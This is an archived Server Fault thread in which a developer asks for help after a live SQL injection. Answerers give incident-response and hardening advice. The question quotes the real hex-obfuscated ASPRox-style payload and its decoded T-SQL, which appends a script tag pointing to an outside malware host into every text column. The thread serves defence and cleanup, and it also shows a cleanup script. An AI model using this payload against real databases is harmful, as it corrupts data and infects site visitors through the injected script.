Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

Geeze, I'm desperate! A few hours ago our production DB was sql-injected.

I know we have some big holes in the system... because we inherited the website from a guy that did it on classic ASP, his programming was really awful and unsecured. So we spent some time migrating it to ASP.NET (first 1.1, then 2.0 and now 3.5). But it's a big project, and there is still old and unsecure code. I'm not going to lie, the project is a mess, I hate it, but it's our most important client (we are just 2 young guys, not a big company).

So I know they have injected some js script references to my whole db somehow.... It was probably through an old page using concatenated string sql queries and throwing directly into the db (because that guy that starts the project said "Stored procedures doesn't work"..... so he did the whole site using string concatenation, and throwing them directly to the sql without doing any safety validation or anything.

When we got the project, the client didnt want to spend time redoing the crap that the old guy did. So we had to lead to crappy and unsecure code and fixing it while developing new features, because that was what the client wants... and now that we've been sql injected they get crazy of course.

SO....

**Is there any way to check for old the sql queries that have been executed in the last X hours? Something like how SQL Profiler does (but of course we didnt have the profiler open when the attacked happened)? Is there a way to find out which page is the vulnerable one? Please, help, there are a lots of pages. I cannot search through those manually without knowing for sure which one was the page.

Also... could there be another way they could inject the db? Like using an IIS request or js or something?**

I have full Remote desktop access to the server machine (it is not in a hosted environment) so I can access every file, log, whatever on the server...

Please help!

PS: Sorry, my english is not so great, and it's worse now that I'm nervous!

EDIT

  • Windows 2003 Server
  • SQL SERVER 2005
  • ASP .NET 3.5

The script they are throwing is the following

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

Which translated to text is:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
share|improve this question

marked as duplicate by Iain Feb 22 '12 at 18:09

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

9  
is this acceptable industry practice now? have an urgent security issue to be addressed and plea for help on the internet? –  Sean Bright Jul 9 '09 at 18:19
8  
putting yourself in the situation might be unacceptable, but once there, and at a lack of better knowledge on how to get out of there, i don't think it should be acceptable to not plea for help on the internet (whilst doing research yourself, elsewhere, which i bet from the tone that emzero is already busy doing) –  d. Jul 9 '09 at 18:21
6  
Unfortunately, flatten & restore from backup may be best option. If your server is hacked, you really can't trust anything on it. –  Michael Jul 9 '09 at 18:22
9  
The tone (and content) of the first comment strikes me as something I'd expect from a Dilbertesque manager in response to the whole SO concept: "is this acceptable industry practice now? have an urgent question about threading and synchronization to be addressed and plea for help on the internet?" The guy has an issue and needs help...haranguing him won't help anybody. Give him a break. –  DarkSquid Jul 9 '09 at 18:48
11  
RULE #1 -- SLOW DOWN... you're in a hurry. Don't get nervous and don't panic. Stay calm, and do your best to think up all of your possible options. TRUST ME ON THIS. –  KPWINC Jul 9 '09 at 19:35

15 Answers 15

up vote 22 down vote accepted

The first thing to do is not panic. But I see you've skipped that and have decided to

The second thing is to take the site down and make sure it's not accessible from the outside until you can figure out what's broke. Start looking at access logs and try to find out what the main problem is.

The third thing to do is see if you backup your DB regularly and just do a roll back. You might lose some data -but you'll be in a better spot than you are right now

The fourth thing to do is - DO NOT - give out the url because apparently it's unsecure

share|improve this answer
    
If you go to his profile and click on his website, and then go to that website and click on his clients (in this case Manyworlds.net) you may notice that that site is 'down for maintenance'. Perhaps that's the insecure site? –  George Stocker Jul 9 '09 at 18:30
11  
upvote for turning off the site. So many people don't think to do it, but it's really important. Otherwise you're knowingly serving malware to your users –  Joel Coel Jul 9 '09 at 18:35
    
@Gortok - lol, supersleuth. –  Greg Jul 9 '09 at 18:35
    
I also noticed on their site that one advantage to working from Argentina is how fluent they are in the English language. Fluent enough, I guess. –  Erich Mirabal Jul 9 '09 at 18:36
1  
+1 about the panic suggestion. My parents use to tell me a proverb, which loosely translated means "Dress me slowly, for I am in a hurry." Basically, he needs to slow down or he will either make or miss mistakes. –  Erich Mirabal Jul 9 '09 at 18:39
  1. don't panic.
  2. put the website on maintenance.
  3. reverse the applied sql injection.
  4. fix the h0le.
  5. put the site back online.
share|improve this answer

As a reference point, this is the work of the ASPRox bot SQL Injection attack. It seems to surface it self now and then because it gets pretty viral when compromised systems are found. You can Google around for "ASPRox bot" and get some additional cleansing methods and further prevention treatments. I just found this PDF file that has a nice overview on its tactics and links to some cleanup options.

The problem is that virus/injection model essentially took every single text field in ALL your database tables and put in a little snippet that calls out to the URL specified to attempt to infect any other web clients and attempt to make them zombies that visit your site.

So make sure to check all databases on that server in question, not just the one with the database involved to do a proper cleansing.

It appears you're on the right path with the suggestions here, but having some "formal" references to the virus name might help with additional needs.

share|improve this answer
    
This is exactly what's needed: you've identified the problem and pointed at the solutions. Good detective work. –  Steven Sudit Jul 10 '09 at 3:53
    
Well, it is only good work in that it happened to me a while back. Fortunately it was near the beginning of SO, so the folks even helped me write a tool to decode that NVARCHAR mayhem... (stackoverflow.com/questions/109/decoding-t-sql-cast-in-c-vb-net) 8^D –  Dillie-O Jul 10 '09 at 15:13

I don't know if it's possible or not, but you didn't provide the details knowledgeable people would need to help.

  • What is your database engine? (including version numbers)
  • What is your web server? (presumably IIS, but what version?)
  • What is your favorite... nvm

But specific applications and version numbers of your stack would turn this into a question that someone might be able to answer.

There is nothing in standard SQL that can give you this information, so you're looking for specific-vendor extensions or administration tools.

share|improve this answer
    
SQL Server 2005, IIS 6.0.... nvm? What I'm asking is if there's a way to check for IIS/SQL logs to see what page was exactly the one that drops that infernal query –  emzero Jul 9 '09 at 18:43

IIS might have some logs that could give you some hints at to what pages were accessed, if you have logging turned on. You can check in the configuration of the website.

share|improve this answer

This is a tough one. For figuring out what the attack was, and what it might've done, I'd look at your IIS logs, not SQL. Depending on the attack, the IIS log may show exactly what the sql-injection was.

If not, I'd immediately turn IIS logging (and SQL logging, and any other logging) up as high as you can. Its possible the attacker is still poking around, and you want to track what he's doing, and start shutting off his access points ASAP.

Good luck!

share|improve this answer

If you know that there are vulnerabilities you should definitely consider using a Web Application Firewall which is a filter running in front of your web server trying to prevent malicious input and known attacks from reaching your application/database. That way you could improve your security ad-hoc without rewriting and checking your legacy application.

This is not a perfect solution but with the given situation it would be a quick way to remedy a bigger amount of security vulnerabilities at once.

share|improve this answer
    
I forgot all about those, as I consider it bad habit to rely on them. However, in this case it's a good intermediate solution :) –  Thorarin Jul 9 '09 at 18:51
    
Yes, I totally agree. Maybe my last paragraph has not been clear enough with that. –  0xA3 Jul 9 '09 at 19:06

First, you have to shut the site down, to prevent further injection attacks.

Second, you need to do a security audit, to determine what logging you have, and what security is in place on the system, and determine how the attackers got in.

Third, you need to put in place logging and security for those areas where you were compromised, at the very least. Put in place a system for detecting intrusion that informs you immediately (such as a pager).

Fourth, inform management that the downtime is a consequence of their ignoring security.

share|improve this answer
1  
upvote for turning off the site. So many people don't think to do it, but it's really important. Otherwise you're knowingly serving malware to your users. –  Joel Coel Jul 9 '09 at 18:34
2  
+1 for informing management/the client. It's partially their fault for not taking you up on your recommendation of securing the site. –  Lazlow Jul 9 '09 at 19:50

Get your site down and Start working one every thing once again. Once compromised, entering your system would be a piece of cake.

Any part time solutions are going to make things worse in the future.

share|improve this answer

I would first make sure the sql user for the application only has read access by default. Add insert/update/delete access to only the tables where it is needed.

Do you need to remove the .js references from the database? We used this script a while back to remove all the .js references for all of our tables. Is is a global find/replace for the database. Enter the .js reference where you see this: PLACE BAD JAVA SCRIPT CODE HERE

DECLARE @T varchar(255),@C varchar(4000)   
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)   
OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('SELECT [' + @C + '] FROM [' + @T + '] WHERE [' + @C  + '] LIKE ''%.js%'' ')
FETCH NEXT FROM Table_Cursor1 INTO @T,@C END   
CLOSE Table_Cursor1 DEALLOCATE Table_Cursor1    

DECLARE @T varchar(255),@C varchar(4000)    
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)    
OPEN Table_Cursor    
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''PLACE BAD JAVA SCRIPT CODE HERE'','''')')     
FETCH NEXT FROM Table_Cursor INTO @T,@C END      
CLOSE Table_Cursor DEALLOCATE Table_Cursor
share|improve this answer
1  
Thanks, it almost worked... but we've got some text columns trunked.. so... restoring the latest backup is the only solution –  emzero Jul 9 '09 at 22:04

Check your IIS logs to find out which page they used to do the injection. Needless to say, you need to fix or disable that page quickly.

The best approach depends on the type of site. If at all possible, take the site down until you've restored an untainted database or reversed the changes (that requires detailed logs). Then you can put the site back up in read-only mode until you have time to fix the problem(s). Just restrict the SQL account to SELECT only.

Even when you concatenate query strings, you can be fairly safe with little effort. Searching all ASP files for keywords like SELECT and UPDATE will reveal all the queries. Surround all your parameters with basic sanity checks to start off.

Since you're probably in a hurry, you can take a look at some really old ASP VBScript code of mine. There are a bunch of SafeSqlWhatever functions in there to help you build safe SQL statements. No warranties, it was never intended to be public. However, replacing all the variable inputs with the SqlVar(someValue) function should get you started. You need to remove the single quotes from the rest of your query string, as SqlVar adds them for you. Alternatively, use the functions specific to the type of value you're expecting:

Before:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

After:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS: no, this is not the way it should be, but probably the quickest to get things back in working order from where you are now.

share|improve this answer
    
I love the script examples. (Even though you have SafeUBound declared twice, but asp lets you get away with it ;) –  feihtthief Jul 9 '09 at 19:05
    
Haha, indeed... never noticed :) Personally, I was staring at the Mod 100 in the NiceDate function. Took me a minute to figure out what it was doing :P –  Thorarin Jul 9 '09 at 19:19

You also need to assume that this hacker now has a copy of all the data in your DB. If that includes personal information then you should notify the people in question.

share|improve this answer
    
Normally yes, but this looks like a well-documented attack where data within the db is not "stolen" directly. –  Joel Coel Jul 9 '09 at 18:37
1  
How does the fact that they found a well-known malware distribution hack in their DB preclude the possibility that they also did a SELECT * while they were at it? –  Jared Jul 9 '09 at 18:50
    
They don't have any data, they just want to drop that js to harass people. –  emzero Jul 9 '09 at 22:05

What usually happens is that the hacker (which is often a bot) performs a google search for what looks like possible entry points for sql injection (looking for querystrings, by searching for, say "inurl:.aspx?" or "inurl:?id="). and then it automatically tests for injection vulnerability. If you want to find the entry point, it might be a good idea to feed similar queries to google, and see what querystring sites of yours it has indexed.

Moving on, these scripts usually hope that the executing script has access to sysobjects, in which case it can iterate through all the tables in the database, and inject itself into every column. If this has happened (which I guess, otherwise the injection vulnerability could simply be assumed to be where the injected code is), I wrote a script once, that does the same thing, to search the entire database for a given value. it can be found here:

http://pastebay.com/28400

If you don't have any backups (which i'm assuming by your somewhat desperate tone), that script can be used to locate all injected columns, and with a little modification, it could also be used to strip those injections out.

So much for restoring the environment. After that comes the task of making sure it doesn't happen again. You're not in that much of a hurry, whoever injected you probably hit you on random and isn't likely to try it again very soon, but learn a lesson from this and make it a priority issue anyway.

As for securing the site, well, i've already mentioned the google way of getting a hint as to where the vulnerabilities are, but really, it's about time you face the task of moving your sql queries, one by one, to stored procedures, or an OR/M, or something. once you're done with that, you will have come pretty far in tidying up your messy source.

share|improve this answer
1  
The order is a bit backwards: I'd make sure it doesn't happen again and then restore the db. –  Joel Coel Jul 9 '09 at 18:38
    
that's a valid point of course, but a project like that could take quite some time, and i'm not sure the client would approve. also, this script actually injects js includes, which will then spread the infection to visiting users. i really think it should be a priority issue to remove that first, so as to not infect others. –  d. Jul 9 '09 at 18:41
    
In fact, we get this attacks everyday... I get the exception emails (from the pages WE fix), and it's common they attack using the shitty querystring method to inject sql.... the problem is there are still some old pages that are not using Stored procedures, so I need to fix those i think..... there's no much to do... –  emzero Jul 9 '09 at 18:54

Trying to answer the original question about tracking down the query I though about doing it from the other direction, if the server has not been reset, pull all the queries from the query cache, that my show up which query was run - assuming it is still in the cache.

SELECT  ( SUBSTRING(s2.text, (statement_start_offset / 2) + 1, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2) ELSE statement_end_offset END)- statement_start_offset)/2)) AS sql_statement
    ,execution_count
    ,(total_worker_time / 1000) as total_worker_time_milli_s
    ,(last_worker_time / 1000) as last_worker_time_milli_s
    ,((total_worker_time / execution_count) / 1000) as average_worker_time_milli_s
    ,min_worker_time
    ,max_worker_time
    ,last_execution_time
    ,qp.query_plan
FROM 
    sys.dm_exec_query_stats qs 
    CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2  
    CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) as qp
WHERE
    s2.objectid is null
ORDER BY
    total_worker_time desc
share|improve this answer

Definitely make sure to install the newest version of UrlScan--it was pretty much designed to stomp on this sort of attack.

If you have IIS logs, the entry point should be pretty obvious--look for the one the hackers were hammering.

Another good backstop, if at all possible, is to deny INSERT and UPDATE rights to the web user account and punch that through stored procedures instead. That sort of backstop saved us from having a similar problem with a similar legacy app when this was a zero-day attack.

I think you can also remove the PUBLIC user's right to scan tables, which should keep them from doing the "foreach table" style attacks.

share|improve this answer
3  
+1 for URLScan. I believe it would have saved him in this particular case. –  KPWINC Jul 9 '09 at 19:43
1  
Some of URLScan's behaviour is builtin to IIS7. learn.iis.net/page.aspx/143/how-to-use-request-filtering I can't tell if it's on by default. –  p.campbell Jul 9 '09 at 19:54
    
I've googled a lot to see if I can denied access to sysobjects and syscolumns but it says that it couldn't be done.... so, that won't help. I have found the vulnerable page that was used to inject sql, so we fixed it. Anyway, I'll take a look at UrlScan, seems a great tool, even though I've just read the summary description. Thanks –  emzero Jul 10 '09 at 9:39

Not the answer you're looking for? Browse other questions tagged or ask your own question.